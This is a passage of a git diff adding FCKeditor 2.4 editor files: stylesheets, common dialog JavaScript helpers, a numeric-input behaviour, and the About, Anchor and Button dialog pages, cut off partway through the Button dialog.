+ *     This CSS Style Sheet defines rules used by the editor for its internal use.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ *             Alfonso Martinez de Lizarrondo - Uritec (alfonso at uritec dot net)
+ */
+
+/* Fix to allow putting the caret at the end of the
+content in Firefox if clicking below the content */
+html
+{
+       min-height:100%;
+}
+
+
+table.FCK__ShowTableBorders, table.FCK__ShowTableBorders td, table.FCK__ShowTableBorders th
+{
+       border: #d3d3d3 1px solid;
+}
+
+form
+{
+       border: 1px dotted #FF0000;
+       padding: 2px;
+}
+
+.FCK__Flash
+{
+       border: darkgray 1px solid;
+       background-position: center center;
+       background-image: url(images/fck_flashlogo.gif);
+       background-repeat: no-repeat;
+       width: 80px;
+       height: 80px;
+}
+
+/* Empty anchors images */
+.FCK__Anchor
+{
+       border: 1px dotted #00F;
+       background-position: center center;
+       background-image: url(images/fck_anchor.gif);
+       background-repeat: no-repeat;
+       width: 16px;
+       height: 15px;
+       vertical-align: middle;
+}
+
+/* Anchors with content */
+.FCK__AnchorC
+{
+       border: 1px dotted #00F;
+       background-position: 1 center;
+       background-image: url(images/fck_anchor.gif);
+       background-repeat: no-repeat;
+       padding-left:18px;
+}
+
+/* Any anchor for non-IE, if we combine it 
+   with the previous rule IE ignores all. */
+a[name]
+{
+       border: 1px dotted #00F;
+       background-position: 0 center;
+       background-image: url(images/fck_anchor.gif);
+       background-repeat: no-repeat;
+       padding-left:18px;
+}
+
+.FCK__PageBreak
+{
+       background-position: center center;
+       background-image: url(images/fck_pagebreak.gif);
+       background-repeat: no-repeat;
+       clear: both;
+       display: block;
+       float: none;
+       width: 100%;
+       border-top: #999999 1px dotted;
+       border-bottom: #999999 1px dotted;
+       border-right: 0px;
+       border-left: 0px;
+       height: 5px;
+}
+
+input[type="hidden"]
+{
+       display: inline;
+       width:20px;
+       height:20px;
+       border:1px dotted #FF0000 ;
+       background-image: url(behaviors/hiddenfield.gif);
+       background-repeat: no-repeat;
+}
+
+input[type="hidden"]:after
+{
+       padding-left: 20px;
+       content: "" ;
+}
diff --git a/fckeditor/editor/css/fck_showtableborders_gecko.css b/fckeditor/editor/css/fck_showtableborders_gecko.css
new file mode 100755 (executable)
index 0000000..6997134
--- /dev/null
@@ -0,0 +1,46 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_showtableborders_gecko.css
+ *     This CSS Style Sheet defines the rules to show table borders on Gecko.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+/* For tables with the "border" attribute set to "0" */
+table[border="0"], 
+table[border="0"] > tr > td, table[border="0"] > tr > th, 
+table[border="0"] > tbody > tr > td, table[border="0"] > tbody > tr > th, 
+table[border="0"] > thead > tr > td, table[border="0"] > thead > tr > th, 
+table[border="0"] > tfoot > tr > td, table[border="0"] > tfoot > tr > th
+{
+       border: #d3d3d3 1px dotted ;
+}
+
+/* For tables with no "border" attribute set */
+table:not([border]), 
+table:not([border]) > tr > td, table:not([border]) > tr > th,
+table:not([border]) > tbody > tr > td, table:not([border]) > tbody > tr > th,
+table:not([border]) > thead > tr > td, table:not([border]) > thead > tr > th,
+table:not([border]) > tfoot > tr > td, table:not([border]) > tfoot > tr > th
+{
+       border: #d3d3d3 1px dotted ;
+}
diff --git a/fckeditor/editor/css/images/fck_anchor.gif b/fckeditor/editor/css/images/fck_anchor.gif
new file mode 100755 (executable)
index 0000000..5aa797b
Binary files /dev/null and b/fckeditor/editor/css/images/fck_anchor.gif differ
diff --git a/fckeditor/editor/css/images/fck_flashlogo.gif b/fckeditor/editor/css/images/fck_flashlogo.gif
new file mode 100755 (executable)
index 0000000..141aac4
Binary files /dev/null and b/fckeditor/editor/css/images/fck_flashlogo.gif differ
diff --git a/fckeditor/editor/css/images/fck_pagebreak.gif b/fckeditor/editor/css/images/fck_pagebreak.gif
new file mode 100755 (executable)
index 0000000..8d1cffd
Binary files /dev/null and b/fckeditor/editor/css/images/fck_pagebreak.gif differ
diff --git a/fckeditor/editor/dialog/common/fck_dialog_common.css b/fckeditor/editor/dialog/common/fck_dialog_common.css
new file mode 100755 (executable)
index 0000000..7adbd20
--- /dev/null
@@ -0,0 +1,87 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_dialog_common.css
+ *     This is the CSS file used for interface details in some dialog
+ *     windows.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+.ImagePreviewArea
+{
+       border: #000000 1px solid;
+       overflow: auto;
+       width: 100%;
+       height: 170px;
+       background-color: #ffffff;
+}
+
+.FlashPreviewArea
+{
+       border: #000000 1px solid;
+       padding: 5px;
+       overflow: auto;
+       width: 100%;
+       height: 170px;
+       background-color: #ffffff;
+}
+
+.BtnReset
+{
+       float: left;
+       background-position: center center;
+       background-image: url(images/reset.gif);
+       width: 16px;
+       height: 16px;
+       background-repeat: no-repeat;
+       border: 1px none;
+       font-size: 1px ;
+}
+
+.BtnLocked, .BtnUnlocked
+{
+       float: left;
+       background-position: center center;
+       background-image: url(images/locked.gif);
+       width: 16px;
+       height: 16px;
+       background-repeat: no-repeat;
+       border: none 1px;
+       font-size: 1px ;
+}
+
+.BtnUnlocked
+{
+       background-image: url(images/unlocked.gif);
+}
+
+.BtnOver
+{
+       border: outset 1px;
+       cursor: pointer;
+       cursor: hand;
+}
+
+.FCK__FieldNumeric
+{
+       behavior: url(common/fcknumericfield.htc) ;
+}
\ No newline at end of file
diff --git a/fckeditor/editor/dialog/common/fck_dialog_common.js b/fckeditor/editor/dialog/common/fck_dialog_common.js
new file mode 100755 (executable)
index 0000000..13cca6f
--- /dev/null
@@ -0,0 +1,158 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_dialog_common.js
+ *     Useful functions used by almost all dialog window pages.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+var GECKO_BOGUS = '<br type="_moz">' ;
+
+// Gets a element by its Id. Used for shorter coding.
+function GetE( elementId )
+{
+       return document.getElementById( elementId )  ;
+}
+
+function ShowE( element, isVisible )
+{
+       if ( typeof( element ) == 'string' )
+               element = GetE( element ) ;
+       element.style.display = isVisible ? '' : 'none' ;
+}
+
+function SetAttribute( element, attName, attValue )
+{
+       if ( attValue == null || attValue.length == 0 )
+               element.removeAttribute( attName, 0 ) ;                 // 0 : Case Insensitive
+       else
+               element.setAttribute( attName, attValue, 0 ) ;  // 0 : Case Insensitive
+}
+
+function GetAttribute( element, attName, valueIfNull )
+{
+       var oAtt = element.attributes[attName] ;
+
+       if ( oAtt == null || !oAtt.specified )
+               return valueIfNull ? valueIfNull : '' ;
+
+       var oValue = element.getAttribute( attName, 2 ) ;
+       
+       if ( oValue == null )
+               oValue = oAtt.nodeValue ;
+
+       return ( oValue == null ? valueIfNull : oValue ) ;
+}
+
+// Functions used by text fiels to accept numbers only.
+function IsDigit( e )
+{
+       if ( !e )
+               e = event ;
+
+       var iCode = ( e.keyCode || e.charCode ) ;
+       
+       return (
+                       ( iCode >= 48 && iCode <= 57 )          // Numbers
+                       || (iCode >= 37 && iCode <= 40)         // Arrows
+                       || iCode == 8                                           // Backspace
+                       || iCode == 46                                          // Delete
+       ) ;
+}
+
+String.prototype.Trim = function()
+{
+       return this.replace( /(^\s*)|(\s*$)/g, '' ) ;
+}
+
+String.prototype.StartsWith = function( value )
+{
+       return ( this.substr( 0, value.length ) == value ) ;
+}
+
+String.prototype.Remove = function( start, length )
+{
+       var s = '' ;
+
+       if ( start > 0 )
+               s = this.substring( 0, start ) ;
+
+       if ( start + length < this.length )
+               s += this.substring( start + length , this.length ) ;
+
+       return s ;
+}
+
+String.prototype.ReplaceAll = function( searchArray, replaceArray )
+{
+       var replaced = this ;
+       
+       for ( var i = 0 ; i < searchArray.length ; i++ )
+       {
+               replaced = replaced.replace( searchArray[i], replaceArray[i] ) ;
+       }
+       
+       return replaced ;
+}
+
+function OpenFileBrowser( url, width, height )
+{
+       // oEditor must be defined.
+       
+       var iLeft = ( oEditor.FCKConfig.ScreenWidth  - width ) / 2 ;
+       var iTop  = ( oEditor.FCKConfig.ScreenHeight - height ) / 2 ;
+
+       var sOptions = "toolbar=no,status=no,resizable=yes,dependent=yes,scrollbars=yes" ;
+       sOptions += ",width=" + width ;
+       sOptions += ",height=" + height ;
+       sOptions += ",left=" + iLeft ;
+       sOptions += ",top=" + iTop ;
+
+       // The "PreserveSessionOnFileBrowser" because the above code could be 
+       // blocked by popup blockers.
+       if ( oEditor.FCKConfig.PreserveSessionOnFileBrowser && oEditor.FCKBrowserInfo.IsIE )
+       {
+               // The following change has been made otherwise IE will open the file 
+               // browser on a different server session (on some cases):
+               // http://support.microsoft.com/default.aspx?scid=kb;en-us;831678
+               // by Simone Chiaretta.
+               var oWindow = oEditor.window.open( url, 'FCKBrowseWindow', sOptions ) ;
+               
+               if ( oWindow )
+               {
+                       // Detect Yahoo popup blocker.
+                       try
+                       {
+                               var sTest = oWindow.name ; // Yahoo returns "something", but we can't access it, so detect that and avoid strange errors for the user.
+                               oWindow.opener = window ;
+                       }
+                       catch(e)
+                       {
+                               alert( oEditor.FCKLang.BrowseServerBlocked ) ;
+                       }
+               }
+               else
+                       alert( oEditor.FCKLang.BrowseServerBlocked ) ;
+    }
+    else
+               window.open( url, 'FCKBrowseWindow', sOptions ) ;
+}
\ No newline at end of file
diff --git a/fckeditor/editor/dialog/common/fcknumericfield.htc b/fckeditor/editor/dialog/common/fcknumericfield.htc
new file mode 100755 (executable)
index 0000000..94bb8ba
--- /dev/null
@@ -0,0 +1,24 @@
+<public:component lightweight="true">
+
+<script language="javascript">
+
+function CheckIsDigit()
+{
+       var iCode = event.keyCode ;
+
+       event.returnValue =
+               (
+                       ( iCode >= 48 && iCode <= 57 )          // Numbers
+                       || (iCode >= 37 && iCode <= 40)         // Arrows
+                       || iCode == 8                                           // Backspace
+                       || iCode == 46                                          // Delete
+               ) ;
+
+       return event.returnValue ;
+}
+
+this.onkeypress = CheckIsDigit ;
+
+</script>
+
+</public:component>
diff --git a/fckeditor/editor/dialog/common/images/locked.gif b/fckeditor/editor/dialog/common/images/locked.gif
new file mode 100755 (executable)
index 0000000..ea07870
Binary files /dev/null and b/fckeditor/editor/dialog/common/images/locked.gif differ
diff --git a/fckeditor/editor/dialog/common/images/reset.gif b/fckeditor/editor/dialog/common/images/reset.gif
new file mode 100755 (executable)
index 0000000..5e9a2fc
Binary files /dev/null and b/fckeditor/editor/dialog/common/images/reset.gif differ
diff --git a/fckeditor/editor/dialog/common/images/unlocked.gif b/fckeditor/editor/dialog/common/images/unlocked.gif
new file mode 100755 (executable)
index 0000000..801e423
Binary files /dev/null and b/fckeditor/editor/dialog/common/images/unlocked.gif differ
diff --git a/fckeditor/editor/dialog/common/moz-bindings.xml b/fckeditor/editor/dialog/common/moz-bindings.xml
new file mode 100755 (executable)
index 0000000..5beb567
--- /dev/null
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<bindings xmlns="http://www.mozilla.org/xbl">
+       <binding id="numericfield">
+               <implementation>
+                       <constructor>
+                               this.keypress = CheckIsDigit ;
+                       </constructor>
+                       <method name="CheckIsDigit">
+                               <body>
+                                       <![CDATA[
+                                       var iCode = keyCode ;
+
+                                       var bAccepted =
+                                               (
+                                                       ( iCode >= 48 && iCode <= 57 )          // Numbers
+                                                       || (iCode >= 37 && iCode <= 40)         // Arrows
+                                                       || iCode == 8                                                                                   // Backspace
+                                                       || iCode == 46                                                                          // Delete
+                                               ) ;
+
+                                       return bAccepted ;
+                                       ]]>
+                               </body>
+                       </method>
+               </implementation>
+               <events>
+                       <event type="keypress" value="CheckIsDigit()" />
+               </events>
+       </binding>
+</bindings>
\ No newline at end of file
diff --git a/fckeditor/editor/dialog/fck_about.html b/fckeditor/editor/dialog/fck_about.html
new file mode 100755 (executable)
index 0000000..38d5e8b
--- /dev/null
@@ -0,0 +1,159 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_about.html
+ *     "About" dialog window.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+       <title></title>
+       <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+       <meta name="robots" content="noindex, nofollow" />
+       <script src="common/fck_dialog_common.js" type="text/javascript"></script>
+       <script type="text/javascript">
+
+var oEditor = window.parent.InnerDialogLoaded() ;
+var FCKLang    = oEditor.FCKLang ;
+
+window.parent.AddTab( 'About', FCKLang.DlgAboutAboutTab ) ;
+window.parent.AddTab( 'License', FCKLang.DlgAboutLicenseTab ) ;
+window.parent.AddTab( 'BrowserInfo', FCKLang.DlgAboutBrowserInfoTab ) ;
+
+// Function called when a dialog tag is selected.
+function OnDialogTabChange( tabCode )
+{
+       ShowE('divAbout', ( tabCode == 'About' ) ) ;
+       ShowE('divLicense', ( tabCode == 'License' ) ) ;
+       ShowE('divInfo' , ( tabCode == 'BrowserInfo' ) ) ;
+}
+
+function SendEMail()
+{
+       var eMail = 'mailto:' ;
+       eMail += 'fredck' ;
+       eMail += '@' ;
+       eMail += 'fckeditor' ;
+       eMail += '.' ;
+       eMail += 'net' ;
+
+       window.location = eMail ;
+}
+
+window.onload = function()
+{
+       // Translate the dialog box texts.
+       oEditor.FCKLanguageManager.TranslatePage(document) ;
+
+       window.parent.SetAutoSize( true ) ;
+}
+
+       </script>
+</head>
+<body style="overflow: hidden">
+       <div id="divAbout">
+               <table cellpadding="0" cellspacing="0" border="0" width="100%" style="height: 100%">
+                       <tr>
+                               <td>
+                                       <img alt="" src="fck_about/logo_fckeditor.gif" width="236" height="41" align="left" />
+                                       <table width="80" border="0" cellspacing="0" cellpadding="5" bgcolor="#ffffff" align="right">
+                                               <tr>
+                                                       <td align="center" nowrap="nowrap" style="border-right: #000000 1px solid; border-top: #000000 1px solid;
+                                                               border-left: #000000 1px solid; border-bottom: #000000 1px solid">
+                                                               <span fcklang="DlgAboutVersion">version</span>
+                                                               <br />
+                                                               <b>2.4</b><br />
+                                                               Build 1148</td>
+                                               </tr>
+                                       </table>
+                               </td>
+                       </tr>
+                       <tr style="height: 100%">
+                               <td align="center">
+                                       &nbsp;<br />
+                                       <span style="font-size: 14px" dir="ltr">
+                                               <br />
+                                               <b><a href="http://www.fckeditor.net/?about" target="_blank" title="Visit the FCKeditor web site">
+                                                       Support <b>Open Source</b> Software</a></b> </span>
+                                       <br />
+                                       <br />
+                                       <br />
+                                       <span fcklang="DlgAboutInfo">For further information go to</span> <a href="http://www.fckeditor.net/?About"
+                                               target="_blank">http://www.fckeditor.net/</a>.
+                                       <br />
+                                       Copyright &copy; 2003-2007 <a href="#" onclick="SendEMail();">Frederico Caldeira Knabben</a>
+                               </td>
+                       </tr>
+                       <tr>
+                               <td align="center">
+                                       <img alt="" src="fck_about/logo_fredck.gif" width="87" height="36" />
+                               </td>
+                       </tr>
+               </table>
+       </div>
+       <div id="divLicense" style="display: none">
+                       <p>
+                               Licensed under the terms of any of the following licenses at your
+                               choice:
+                       </p>
+                       <ul>
+                               <li style="margin-bottom:15px">
+                                       <b>GNU General Public License</b> Version 2 or later (the "GPL")<br />
+                                       <a href="http://www.gnu.org/licenses/gpl.html" target="_blank">http://www.gnu.org/licenses/gpl.html</a>
+                               </li>
+                               <li style="margin-bottom:15px">
+                                       <b>GNU Lesser General Public License</b> Version 2.1 or later (the "LGPL")<br />
+                                       <a href="http://www.gnu.org/licenses/lgpl.html" target="_blank">http://www.gnu.org/licenses/lgpl.html</a>
+                               </li>
+                               <li>
+                                       <b>Mozilla Public License</b> Version 1.1 or later (the "MPL")<br />
+                                       <a href="http://www.mozilla.org/MPL/MPL-1.1.html" target="_blank">http://www.mozilla.org/MPL/MPL-1.1.html</a>
+                          </li>
+                       </ul>
+       </div>
+       <div id="divInfo" style="display: none" dir="ltr">
+               <table align="center" width="80%" border="0">
+                       <tr>
+                               <td>
+                                       <script type="text/javascript">
+<!--
+document.write( '<b>User Agent<\/b><br />' + window.navigator.userAgent + '<br /><br />' ) ;
+document.write( '<b>Browser<\/b><br />' + window.navigator.appName + ' ' + window.navigator.appVersion + '<br /><br />' ) ;
+document.write( '<b>Platform<\/b><br />' + window.navigator.platform + '<br /><br />' ) ;
+
+var sUserLang = '?' ;
+
+if ( window.navigator.language )
+       sUserLang = window.navigator.language.toLowerCase() ;
+else if ( window.navigator.userLanguage )
+       sUserLang = window.navigator.userLanguage.toLowerCase() ;
+
+document.write( '<b>User Language<\/b><br />' + sUserLang ) ;
+//-->
+                                       </script>
+                               </td>
+                       </tr>
+               </table>
+       </div>
+</body>
+</html>
diff --git a/fckeditor/editor/dialog/fck_about/logo_fckeditor.gif b/fckeditor/editor/dialog/fck_about/logo_fckeditor.gif
new file mode 100755 (executable)
index 0000000..b7d6bc6
Binary files /dev/null and b/fckeditor/editor/dialog/fck_about/logo_fckeditor.gif differ
diff --git a/fckeditor/editor/dialog/fck_about/logo_fredck.gif b/fckeditor/editor/dialog/fck_about/logo_fredck.gif
new file mode 100755 (executable)
index 0000000..3108dd9
Binary files /dev/null and b/fckeditor/editor/dialog/fck_about/logo_fredck.gif differ
diff --git a/fckeditor/editor/dialog/fck_anchor.html b/fckeditor/editor/dialog/fck_anchor.html
new file mode 100755 (executable)
index 0000000..d7df990
--- /dev/null
@@ -0,0 +1,232 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_anchor.html
+ *     Anchor dialog window.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ *             Alfonso Martinez de Lizarrondo - Uritec (alfonso at uritec dot net)
+-->
+<html>
+       <head>
+               <title>Anchor Properties</title>
+               <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+               <meta content="noindex, nofollow" name="robots">
+               <script src="common/fck_dialog_common.js" type="text/javascript"></script>
+               <script type="text/javascript">
+
+var oEditor    = window.parent.InnerDialogLoaded() ;
+var FCK                = oEditor.FCK ;
+var FCKBrowserInfo = oEditor.FCKBrowserInfo ;
+var FCKTools = oEditor.FCKTools ;
+var FCKRegexLib = oEditor.FCKRegexLib ;
+
+// Gets the document DOM
+var oDOM = oEditor.FCK.EditorDocument ;
+
+var oFakeImage = FCK.Selection.GetSelectedElement() ;
+var oAnchor ;
+
+if ( oFakeImage )
+{
+       if ( oFakeImage.tagName == 'IMG' && oFakeImage.getAttribute('_fckanchor') )
+               oAnchor = FCK.GetRealElement( oFakeImage ) ;
+       else
+               oFakeImage = null ;
+}
+
+//Search for a real anchor
+if ( !oFakeImage )
+{
+       oAnchor = FCK.Selection.MoveToAncestorNode( 'A' ) ;
+       if ( oAnchor )
+               FCK.Selection.SelectNode( oAnchor ) ;
+}
+
+window.onload = function()
+{
+       // First of all, translate the dialog box texts
+       oEditor.FCKLanguageManager.TranslatePage(document) ;
+
+       if ( oAnchor )
+               GetE('txtName').value = oAnchor.name ;
+       else
+               oAnchor = null ;
+
+       window.parent.SetOkButton( true ) ;
+}
+
+function Ok()
+{
+       var sNewName = GetE('txtName').value ;
+
+       // Remove any illegal character in a name attribute:
+       // A name should start with a letter, but the validator passes anyway.
+       sNewName = sNewName.replace( /[^\w-_\.:]/g, '_' ) ;
+
+       if ( sNewName.length == 0 )
+       {
+               // Remove the anchor if the user leaves the name blank
+               if ( oAnchor )  
+               {
+                       RemoveAnchor() ;
+                       return true ;
+               }
+
+               alert( oEditor.FCKLang.DlgAnchorErrorName ) ;
+               return false ;
+       }
+       
+       oEditor.FCKUndo.SaveUndoStep() ;
+       
+       if ( oAnchor )  // Modifying an existent anchor.
+       {
+               ReadjustLinksToAnchor( oAnchor.name, sNewName );
+
+               // Buggy explorer, bad bad browser. http://alt-tag.com/blog/archives/2006/02/ie-dom-bugs/
+               // Instead of just replacing the .name for the existing anchor (in order to preserve the content), we must remove the .name
+               // and assign .name, although it won't appear until it's specially processed in fckxhtml.js
+
+               // We remove the previous name
+               oAnchor.removeAttribute( 'name' ) ;
+               // Now we set it, but later we must process it specially
+               oAnchor.name = sNewName ;
+
+               return true ;
+       }
+
+       // Create a new anchor preserving the current selection
+       oAnchor = oEditor.FCK.CreateLink( '#' ) ;
+       if ( !oAnchor )
+       {
+               // Nothing was selected, so now just create a normal A
+               oAnchor = oEditor.FCK.CreateElement( 'a' ) ; 
+       }
+       else
+       {
+               // Remove the fake href
+               oAnchor.removeAttribute( 'href' ) ; 
+       }
+       // Set the name
+       oAnchor.name = sNewName ;
+
+       // IE does require special processing to show the Anchor's image
+       // Opera doesn't allow to select empty anchors
+       if ( FCKBrowserInfo.IsIE || FCKBrowserInfo.IsOpera )
+       {
+               if ( oAnchor.innerHTML != '' )
+               {
+                       if ( FCKBrowserInfo.IsIE )
+                               oAnchor.className += ' FCK__AnchorC' ;
+               }
+               else
+               {
+                       // Create a fake image for both IE and Opera
+                       var oImg = oEditor.FCKDocumentProcessor_CreateFakeImage( 'FCK__Anchor', oAnchor.cloneNode(true) ) ;
+                       oImg.setAttribute( '_fckanchor', 'true', 0 ) ;
+                       
+                       oAnchor.parentNode.insertBefore( oImg, oAnchor ) ;
+                       oAnchor.parentNode.removeChild( oAnchor ) ;
+               }
+
+       }
+
+       return true ;
+}
+
+// Removes the current anchor from the document
+function RemoveAnchor()
+{
+       // If it's also a link, then just remove the name and exit
+       if ( oAnchor.href.length != 0 )
+       {
+               oAnchor.removeAttribute( 'name' ) ;
+               // Remove temporary class for IE
+               if ( FCKBrowserInfo.IsIE )
+                       oAnchor.className = oAnchor.className.replace( FCKRegexLib.FCK_Class, '' ) ;
+               return ;
+       }
+
+       // We need to remove the anchor
+       // If we got a fake image, then just remove it and we're done
+       if ( oFakeImage )
+       {
+               oFakeImage.parentNode.removeChild( oFakeImage ) ;
+               return ;
+       }
+       // Empty anchor, so just remove it
+       if ( oAnchor.innerHTML.length == 0 )
+       {
+               oAnchor.parentNode.removeChild( oAnchor ) ;
+               return ;
+       }
+       // Anchor with content, leave the content
+       FCKTools.RemoveOuterTags( oAnchor ) ;
+}
+
+// Checks all the links in the current page pointing to the current name and changes them to the new name
+function ReadjustLinksToAnchor( sCurrent, sNew )
+{
+       var oDoc = FCK.EditorDocument ;
+       
+       var aLinks = oDoc.getElementsByTagName( 'A' ) ;
+
+       var sReference = '#' + sCurrent ;
+       // The url of the document, so we check absolute and partial references.
+       var sFullReference = oDoc.location.href.replace( /(#.*$)/, '') ;
+       sFullReference += sReference ;
+
+       var oLink ;
+       var i = aLinks.length - 1 ;
+       while ( i >= 0 && ( oLink = aLinks[i--] ) )
+       {
+               var sHRef = oLink.getAttribute( '_fcksavedurl' ) ;
+               if ( sHRef == null )
+                       sHRef = oLink.getAttribute( 'href' , 2 ) || '' ;
+
+               if ( sHRef == sReference || sHRef == sFullReference )
+               {
+                       oLink.href = '#' + sNew ;
+                       SetAttribute( oLink, '_fcksavedurl', '#' + sNew ) ;
+               }
+       }
+}
+
+               </script>
+       </head>
+       <body style="OVERFLOW: hidden" scroll="no">
+               <table height="100%" width="100%">
+                       <tr>
+                               <td align="center">
+                                       <table border="0" cellpadding="0" cellspacing="0" width="80%">
+                                               <tr>
+                                                       <td>
+                                                               <span fckLang="DlgAnchorName">Anchor Name</span><BR>
+                                                               <input id="txtName" style="WIDTH: 100%" type="text">
+                                                       </td>
+                                               </tr>
+                                       </table>
+                               </td>
+                       </tr>
+               </table>
+       </body>
+</html>
diff --git a/fckeditor/editor/dialog/fck_button.html b/fckeditor/editor/dialog/fck_button.html
new file mode 100755 (executable)
index 0000000..753e0ac
--- /dev/null
@@ -0,0 +1,111 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_button.html
+ *     Button dialog window.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+       <title>Button Properties</title>
+       <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+       <meta content="noindex, nofollow" name="robots" />
+       <script src="common/fck_dialog_common.js" type="text/javascript"></script>
+       <script type="text/javascript">
+
+var oEditor = window.parent.InnerDialogLoaded() ;
+
+// Gets the document DOM
+var oDOM = oEditor.FCK.EditorDocument ;
+
+var oActiveEl = oEditor.FCKSelection.GetSelectedElement() ;
+
+window.onload = function()
+{
+       // First of all, translate the dialog box texts
+       oEditor.FCKLanguageManager.TranslatePage(document) ;
+
+       if ( oActiveEl && oActiveEl.tagName.toUpperCase() == "INPUT" && ( oActiveEl.type == "button" || oActiveEl.type == "submit" || oActiveEl.type == "reset" ) )
+       {
+               GetE('txtName').value   = oActiveEl.name ;
+               GetE('txtValue').value  = oActiveEl.value ;
+               GetE('txtType').value   = oActiveEl.type ;
+
+               GetE('txtType').disabled = true ;
+       }
+       else
+               oActiveEl = null ;
+
+       window.parent.SetOkButton( true ) ;
+}
+
+function Ok()
+{
+       if ( !oActiveEl )
+       {
+               oActiveEl = oEditor.FCK.EditorDocument.createElement( 'INPUT' ) ;
+               oActiveEl.type = GetE('txtType').value ;
+               oActiveEl = oEditor.FCK.InsertElementAndGetIt( oActiveEl ) ;
+       }
+
+       oActiveEl.name = GetE('txtName').value ;
+       SetAttribute( oActiveEl, 'value', GetE('txtValue').value ) ;
+
+       return true ;
+}
+
+       </script>
+</head>
+<body style="overflow: hidden">
+       <table width="100%" style="height: 100%">
+               <tr>
+                       <td align="center">
+                               <table border="0" cellpadding="0" cellspacing="0" width="80%">
+                                       <tr>
+                                               <td colspan="">
+                                                       <span fcklang="DlgCheckboxName">Name</span><br />
+                                                       <input type="text" size="20" id="txtName" style="width: 100%" />
+                                               </td>
+                                       </tr>
+                                       <tr>
+                                               <td>
